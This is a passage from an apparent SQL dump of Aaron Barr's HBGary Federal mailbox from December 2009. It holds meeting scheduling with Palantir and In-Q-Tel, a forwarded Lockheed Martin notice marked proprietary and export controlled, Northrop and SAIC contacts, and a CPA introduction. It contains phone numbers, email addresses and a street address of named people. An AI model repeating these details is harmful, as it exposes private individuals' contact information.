I look forward to next week.  I was thinking about an hour and a half\r\n> for presentation/demos for Palantir and HBGary, then another hour to\r\n> hour and a half brainstorming session.  Thoughts?  Does next tueday\r\n> work?  I got feedback from Greg and Xetron  that was their best day.\r\n>\r\n> My grand plan if all of this comes together is to hold an attribution\r\n> summit, based on the technologies and the approach but then spinning\r\n> off into further conversation on what could be added to that.  I know\r\n> we can get some very senior people to attend with this partnership and\r\n> the right agenda.\r\n>\r\n> Thoughts?\r\n>\r\n> Aaron\r\n',12789,'aaron_hbgary_com/12789.html'),(234,'2009-12-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999717.M997185P3547Q234.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','FW: UNO Green Eggs Jamboree 2010 - Lockheed Martin Proprietary/Export Controlled Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nLockheed put out an announcement\r\nfor presenters on cyber security topics for UNO.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jeffers, Jeff L\r\n[mailto:jeff.l.jeffers@lmco.com] \r\nSent: Tuesday, December 01, 2009 11:37 AM\r\nCc: Britton, Douglas C; Anderson Jr, Robert L; Racz, James M; Jeffers,\r\nJeff L\r\nSubject: UNO Green Eggs Jamboree 2010 - Lockheed Martin\r\nProprietary/Export Controlled Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nLockheed\r\nMartin Proprietary/Export Controlled Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure, and is subject to US or foreign export control laws or\r\nregulations. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nDear\r\nUNO Suppliers:\r\n\r\nSubject:\r\nRequest for Presenters for UNO Green Eggs Jamboree\r\n\r\n&nbsp;\r\n\r\nPlease\r\nlet Lockheed Martin know if you would be interested in presenting at the 2010\r\nUNO Green Eggs Jamboree, being held on the 16th and 17th\r\nof March in Herndon, at the DEP-II building.&nbsp; In order to present at the\r\nJamboree, you will be required to submit a half-page abstract, describing how\r\nyour project relates to the research areas covered by Green Eggs.\r\n\r\n&nbsp;\r\n\r\nIf you\r\nare currently working a Green Eggs Mitigation Study, no action is required to\r\nsecure a presentation slot at the Jamboree.\r\n\r\n&nbsp;\r\n\r\nThe\r\ngeneral topics and technologies of interest are:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHardware\r\nReverse Engineering\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEmbedded\r\nSystems Analysis\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTrusted\r\nComputing\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOther\r\nSecurity related topics\r\n\r\n&nbsp;\r\n\r\nPlease\r\nrespond with an indication of interest regarding abstract submission, no later\r\nthan COB 11 December 2009.&nbsp; Also indicate the POC for your organization\r\nand the SECURE fax number that further information can be sent to.&nbsp; At this\r\ntime, please do not send the abstracts themselves.&nbsp; A more detailed\r\nrequest will be faxed to the interested parties.&nbsp; You will then have 10\r\ndays to prepare abstracts in response to the fax.\r\n\r\n&nbsp;\r\n\r\nShould\r\nyou have any further questions regarding this, please do not hesitate to\r\ncontact me.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDoug\r\nBritton\r\n\r\nGreen\r\nEggs Task Order Lead\r\n\r\nLockheed\r\nMartin\r\n\r\nDouglas.C.Britton@lmco.com\r\n\r\ntel:&nbsp;\r\n703.466.3515\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n________________\r\n\r\nJeff\r\nJeffers\r\n\r\nSubcontracts Administration\r\n\r\nLockheed Martin IS&amp;GS\r\n\r\n703-466-1208 (desk)\r\n\r\n703-466-1270 (fax)\r\n\r\nJeff.L.Jeffers@LMCO.COM &nbsp;\r\n\r\n&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7451,'aaron_hbgary_com/7451.html'),(235,'2009-12-01','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999718.M313507P3547Q235.eml','\"Aaron Barr\" <aaron@hbgary.com>','InQtel','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe have a meeting 9:30 Tuesday morning in VA.&nbsp; Can you\r\nattend?\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11580,'aaron_hbgary_com/11580.html'),(236,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999718.M521722P3547Q236.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: InQtel','Yep\r\n\r\n From my iPhone\r\n\r\nOn Dec 1, 2009, at 1:33 PM, \" Penny Hoglund\"  wrote:\r\n\r\n> We have a meeting 9:30 Tuesday morning in VA.  Can you attend?\r\n',2036,'aaron_hbgary_com/2036.html'),(237,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999718.M712053P3547Q237.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: InQtel','Is there a time Monday that will work for a 1hour30min meeting with\r\npalantir.  I would like Greg to give an hbgary capabilities\r\npresentation about 40min long?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 1, 2009, at 1:33 PM, \" Penny Hoglund\"  wrote:\r\n\r\n> We have a meeting 9:30 Tuesday morning in VA.  Can you attend?\r\n',4196,'aaron_hbgary_com/4196.html'),(238,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999718.M909519P3547Q238.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: UNO Green Eggs Jamboree 2010 - Lockheed Martin Proprietary/Export 	Controlled Information','AttributionFrom my iPhoneOn Dec 1, 2009, at 1:27 PM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n \r\n\r\nLockheed put out an announcement\r\nfor presenters on cyber security topics for UNO.\r\n\r\n \r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Jeffers, Jeff L\r\n[mailto:jeff.l.jeffers@lmco.com] \r\nSent: Tuesday, December 01, 2009 11:37 AM\r\nCc: Britton, Douglas C; Anderson Jr, Robert L; Racz, James M; Jeffers,\r\nJeff L\r\nSubject: UNO Green Eggs Jamboree 2010 - Lockheed Martin\r\nProprietary/Export Controlled Information\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nLockheed\r\nMartin Proprietary/Export Controlled Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure, and is subject to US or foreign export control laws or\r\nregulations. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nDear\r\nUNO Suppliers:\r\n\r\nSubject:\r\nRequest for Presenters for UNO Green Eggs Jamboree\r\n\r\n \r\n\r\nPlease\r\nlet Lockheed Martin know if you would be interested in presenting at the 2010\r\nUNO Green Eggs Jamboree, being held on the 16th and 17th\r\nof March in Herndon, at the DEP-II building.  In order to present at the\r\nJamboree, you will be required to submit a half-page abstract, describing how\r\nyour project relates to the research areas covered by Green Eggs.\r\n\r\n \r\n\r\nIf you\r\nare currently working a Green Eggs Mitigation Study, no action is required to\r\nsecure a presentation slot at the Jamboree.\r\n\r\n \r\n\r\nThe\r\ngeneral topics and technologies of interest are:\r\n\r\n·        \r\nHardware\r\nReverse Engineering\r\n\r\n·        \r\nEmbedded\r\nSystems Analysis\r\n\r\n·        \r\nTrusted\r\nComputing\r\n\r\n·        \r\nOther\r\nSecurity related topics\r\n\r\n \r\n\r\nPlease\r\nrespond with an indication of interest regarding abstract submission, no later\r\nthan COB 11 December 2009.  Also indicate the POC for your organization\r\nand the SECURE fax number that further information can be sent to.  At this\r\ntime, please do not send the abstracts themselves.  A more detailed\r\nrequest will be faxed to the interested parties.  You will then have 10\r\ndays to prepare abstracts in response to the fax.\r\n\r\n \r\n\r\nShould\r\nyou have any further questions regarding this, please do not hesitate to\r\ncontact me.\r\n\r\n \r\n\r\nThank\r\nyou,\r\n\r\n \r\n\r\n \r\n\r\nDoug\r\nBritton\r\n\r\nGreen\r\nEggs Task Order Lead\r\n\r\nLockheed\r\nMartin\r\n\r\nDouglas.C.Britton@lmco.com\r\n\r\n\r\ntel: \r\n703.466.3515\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n________________\r\n\r\nJeff\r\nJeffers\r\n\r\nSubcontracts Administration\r\n\r\nLockheed Martin IS&amp;GS\r\n\r\n703-466-1208 (desk)\r\n\r\n703-466-1270 (fax)\r\n\r\nJeff.L.Jeffers@LMCO.COM  \r\n\r\n  \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;RequestForPresenters.docx&gt;\r\n',4105,'aaron_hbgary_com/4105.html'),(239,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999719.M152702P3547Q239.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Status','From my iPhoneBegin forwarded message:From: &quot;Luti, William&quot; &lt;William.Luti@ngc.com&gt;\r\nDate: December 1, 2009 12:56:51 PM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Cc: &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt;\r\nSubject: RE: Status\r\n\r\n\r\n\r\nAaron, thanks for the update and I’m delighted you landed\r\nwell. Yes, let’s get together for coffee soon to catch up. I’ll\r\nhave Kathy Zavala set something up this week (I’m in LA but back Thursday).\r\nBest, Bill\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi Bill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny time you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI am very excited about HBGarys capabilities in malware\r\nanalysis and incident response.  Their new product suite is the closest I\r\nhave seen to being able to identify and counter the zero day threat.  My\r\nfirst meeting in my new position was with Palantir today to discuss the\r\nstrength of an HBGary/Palantir combined capability.  I believe marrying\r\nHBGary&#39;s strong malware analysis and fingerprinting capabilities with Palantirs\r\nlink analysis capabilities could produce a joined capability that can make some\r\nheadway towards attribution.  HBGary Federal will focus on building a core\r\nof highly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIn addition HBGary Federal will start to build services and\r\nsolutions business in the information operations arena.  Being the CEO of\r\na small organization affords me certain latitudes to develop capabilities and\r\noperate in certain ways that the larger defense contractors would not touch for\r\nrisk reasons.  Small companies with well known capabilities are also\r\nattractive grounds for a category of highly talented people that tend to shy\r\naway from the larger organizations.  Ted and I are good at building these\r\ntypes of teams.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI think in these few areas as a first cut HBGary could be a\r\nvaluable asset to a company like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Nov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron -\r\n\r\nI&#39;m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3567,'aaron_hbgary_com/3567.html'),(240,'2009-12-01','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999719.M473036P3547Q240.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: InQtel','Anytime.  We are arriving Sunday and I\'m having him fly out on Friday.  I am\r\ntrying to set up meeting with CIA with John Edwards as well.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 10:59 AM\r\nTo: Penny Hoglund\r\nSubject: Re: InQtel\r\n\r\nIs there a time Monday that will work for a 1hour30min meeting with\r\npalantir.  I would like Greg to give an hbgary capabilities\r\npresentation about 40min long?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 1, 2009, at 1:33 PM, \" Penny Hoglund\"  wrote:\r\n\r\n> We have a meeting 9:30 Tuesday morning in VA.  Can you attend?\r\n\r\n',8879,'aaron_hbgary_com/8879.html'),(241,'2009-12-01','\"Zavala, Kathy L. (IS)\" <Kathy.Zavala@ngc.com>','/aaron@hbgary.com/new/1296999719.M716006P3547Q241.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Status','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nBill Luti has asked me to contact you to scheduled a meeting\r\nover coffee.&nbsp; Please let me know your availability the week of December 7th.\r\n\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron, thanks for the update and I&#8217;m delighted you landed\r\nwell. Yes, let&#8217;s get together for coffee soon to catch up. I&#8217;ll\r\nhave Kathy Zavala set something up this week (I&#8217;m in LA but back\r\nThursday). Best, Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Bill,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny time you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am very excited about HBGarys capabilities in malware\r\nanalysis and incident response. &nbsp;Their new product suite is the closest I\r\nhave seen to being able to identify and counter the zero day threat. &nbsp;My\r\nfirst meeting in my new position was with Palantir today to discuss the strength\r\nof an HBGary/Palantir combined capability. &nbsp;I believe marrying HBGary\'s\r\nstrong malware analysis and fingerprinting capabilities with Palantirs link\r\nanalysis capabilities could produce a joined capability that can make some\r\nheadway towards attribution. &nbsp;HBGary Federal will focus on building a core\r\nof highly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn addition HBGary Federal will start to build services and\r\nsolutions business in the information operations arena. &nbsp;Being the CEO of\r\na small organization affords me certain latitudes to develop capabilities and\r\noperate in certain ways that the larger defense contractors would not touch for\r\nrisk reasons. &nbsp;Small companies with well known capabilities are also\r\nattractive grounds for a category of highly talented people that tend to shy\r\naway from the larger organizations. &nbsp;Ted and I are good at building these\r\ntypes of teams.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI think in these few areas as a first cut HBGary could be a\r\nvaluable asset to a company like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron -\r\n\r\nI\'m flying to LA with Bill Luti and mentioned that you and Ted have landed at HBGary.\r\nBill was very interested and asked for contact information. So here you go.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12526,'aaron_hbgary_com/12526.html'),(242,'2009-12-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999719.M976106P3547Q242.eml','\"Barr Aaron\" <aaron@hbgary.com>','Webex','Penny sent me my webex acct info.  Did you get yours?  I just set it up on my iphone.  Sweet.Also, Dee ordered my laptop and (the wrong) pico projector (she got the one from the apple store).  I&#39;ll have them Friday.\r\nTed-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',15360,'aaron_hbgary_com/15360.html'),(243,'2009-12-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999720.M241074P3547Q243.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Hi','How&#39;s the draft coming along?  Do you want to schedule some time today to chat with Aaron and I?Regards,Ted-- Ted H. VeraPresident | COOHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n',909,'aaron_hbgary_com/909.html'),(244,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999720.M437916P3547Q244.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: InQtel','Ok let\'s schedule monday at 1 at palantir beforehand we can go to\r\nkonami for sushi down the street?\r\n\r\nIf that\'s ok I will send an invite.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 1, 2009, at 2:16 PM, \" Penny Hoglund\"  wrote:\r\n\r\n> Anytime.  We are arriving Sunday and I\'m having him fly out on\r\n> Friday.  I am\r\n> trying to set up meeting with CIA with John Edwards as well.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, December 01, 2009 10:59 AM\r\n> To: Penny Hoglund\r\n> Subject: Re: InQtel\r\n>\r\n> Is there a time Monday that will work for a 1hour30min meeting with\r\n> palantir.  I would like Greg to give an hbgary capabilities\r\n> presentation about 40min long?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Dec 1, 2009, at 1:33 PM, \" Penny Hoglund\"  wrote:\r\n>\r\n>> We have a meeting 9:30 Tuesday morning in VA.  Can you attend?\r\n>\r\n',4863,'aaron_hbgary_com/4863.html'),(245,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999720.M722012P3547Q245.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: InQtel','Hi penny,\r\n\r\nDo you have webex acct information I could get from u?\r\n\r\nThanks.\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 1, 2009, at 2:16 PM, \" Penny Hoglund\"  wrote:\r\n\r\n> Anytime.  We are arriving Sunday and I\'m having him fly out on\r\n> Friday.  I am\r\n> trying to set up meeting with CIA with John Edwards as well.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, December 01, 2009 10:59 AM\r\n> To: Penny Hoglund\r\n> Subject: Re: InQtel\r\n>\r\n> Is there a time Monday that will work for a 1hour30min meeting with\r\n> palantir.  I would like Greg to give an hbgary capabilities\r\n> presentation about 40min long?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Dec 1, 2009, at 1:33 PM, \" Penny Hoglund\"  wrote:\r\n>\r\n>> We have a meeting 9:30 Tuesday morning in VA.  Can you attend?\r\n>\r\n',859,'aaron_hbgary_com/859.html'),(246,'2009-12-01','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999721.M12144P3547Q246.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: InQtel','Sure, also have you heard of Prevx?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 11:44 AM\r\nTo: Penny Hoglund\r\nSubject: Re: InQtel\r\n\r\nOk let\'s schedule monday at 1 at palantir beforehand we can go to\r\nkonami for sushi down the street?\r\n\r\nIf that\'s ok I will send an invite.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 1, 2009, at 2:16 PM, \" Penny Hoglund\"  wrote:\r\n\r\n> Anytime.  We are arriving Sunday and I\'m having him fly out on\r\n> Friday.  I am\r\n> trying to set up meeting with CIA with John Edwards as well.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, December 01, 2009 10:59 AM\r\n> To: Penny Hoglund\r\n> Subject: Re: InQtel\r\n>\r\n> Is there a time Monday that will work for a 1hour30min meeting with\r\n> palantir.  I would like Greg to give an hbgary capabilities\r\n> presentation about 40min long?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Dec 1, 2009, at 1:33 PM, \" Penny Hoglund\"  wrote:\r\n>\r\n>> We have a meeting 9:30 Tuesday morning in VA.  Can you attend?\r\n>\r\n\r\n',14221,'aaron_hbgary_com/14221.html'),(247,'2009-12-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999721.M337250P3547Q247.eml','andy.purdy@comcast.net,\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: L-3 - eagle','Andy, Aaron and Ted,\r\n\r\nI\'d like to make some introductions.\r\n\r\nAndy:  We\'ve stood up a new company called HBGary Federal which will focus\r\non services offerings to the federal government while leveraging the HBGary\r\nproducts and technologies.  HBGary Federal is headed by Aaron Barr and Ted\r\nVera who are copied on this email.\r\n\r\nContact info:\r\nAaron Barr / aaron@hbgary.com / 719-510-8478\r\nTed Vera / ted@hbgary.com / 719-649-9319\r\nAndy Purdy / andy.purdy@comcast.net / 202-486-0720\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nPhone 301-652-8885 x104  |  Mobile 240-481-1419\r\nbob@hbgary.com  |  www.hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: andy.purdy@comcast.net [mailto:andy.purdy@comcast.net] \r\nSent: Monday, November 30, 2009 4:14 PM\r\nTo: Vp govt sales Bob Slapnik\r\nSubject: Re: L-3 - eagle\r\n\r\nThe other opportnities are the secret service IT modernization rfp and the\r\nDHS block 3 (einstein) rfp due out after the first of the year.\r\n\r\nThanks\r\nAndy\r\n------Original Message------\r\nFrom: Vp govt sales Bob Slapnik\r\nTo: Andy Purdy\r\nSent: Nov 30, 2009 3:46 PM\r\nSubject: RE: L-3 - eagle\r\n\r\nAndy,\r\n\r\nWe\'ve brought on two new people to handle our gov\'t services work and going\r\nafter gov\'t contracts.  I\'ll ask them if they are interested in this\r\nopportunity.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nPhone 301-652-8885 x104  |  Mobile 240-481-1419\r\nbob@hbgary.com  |  www.hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: andy.purdy@comcast.net [mailto:andy.purdy@comcast.net] \r\nSent: Tuesday, November 24, 2009 1:24 PM\r\nTo: Vp govt sales Bob Slapnik\r\nSubject: L-3 - eagle\r\n\r\nWill you be sending me info I can give to L-3?\r\n\r\nThanks\r\nAndy\r\nSent via BlackBerry by AT&T\r\n\r\n\r\n\r\nSent via BlackBerry by AT&T\r\n\r\n',12025,'aaron_hbgary_com/12025.html'),(248,'2009-12-01','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999721.M525918P3547Q248.eml','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>,\"Aaron Barr\" <aaron@hbgary.com>','John meet Aaron','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n&nbsp;\r\n\r\nI want to introduce you to Aaron Barr, he is the CEO of\r\nHBGary Federal.&nbsp; We were discussing C vs LLC and Aaron needs to talk to a CPA\r\nto answer some questions regarding his situation.&nbsp;&nbsp; He does not have a CPA to\r\ndo his taxes, I told him I would recommend you.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6022,'aaron_hbgary_com/6022.html'),(249,'2009-12-01','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','/aaron@hbgary.com/new/1296999721.M718734P3547Q249.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: John meet Aaron','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nPlease let me know how to get in\r\ntouch with you and I will give you a call.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn L. Cox, CPA\r\n\r\n12107\r\n  Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240) 949-6022 Voice \r\n\r\n(866) 750-1973 Fax\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nmessage contains information that may be confidential and privileged. Unless you\r\nare the addressee (or authorized to receive for the addressee), you may not\r\nuse, copy, print or disclose to anyone the message or any information contained\r\nin the message. If you have received this e-mail in error, please advise the\r\nsender by reply and delete the message. Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, December 01, 2009 2:58 PM\r\nTo: \'John L. Cox, CPA\'; \'Aaron Barr\'\r\nSubject: John meet Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi John,\r\n\r\n&nbsp;\r\n\r\nI want to introduce you to Aaron Barr, he is the CEO of\r\nHBGary Federal.&nbsp; We were discussing C vs LLC and Aaron needs to talk to a\r\nCPA to answer some questions regarding his situation.&nbsp;&nbsp; He does not\r\nhave a CPA to do his taxes, I told him I would recommend you.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10061,'aaron_hbgary_com/10061.html'),(250,'2009-12-01','\"Bruni, Michael J.\" <MICHAEL.J.BRUNI@saic.com>','/aaron@hbgary.com/new/1296999721.M910003P3547Q250.eml','aaron@hbgary.com','SAIC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Afternoon Aaron,\r\n\r\n\r\nPlease allow me to introduce myself.&nbsp; I&#8217;m a recruiter with the\r\nIntelligence and Security Group of SAIC.&nbsp; Your name was referred to me by one\r\nof my colleagues stating that you might be looking for teammates for an\r\nupcoming re-compete.&nbsp; I wanted to reach out to you to see if you would have any\r\ninterest in entertaining our organization.&nbsp; If so, is there a good time and\r\nnumber to reach you during the day?&nbsp; 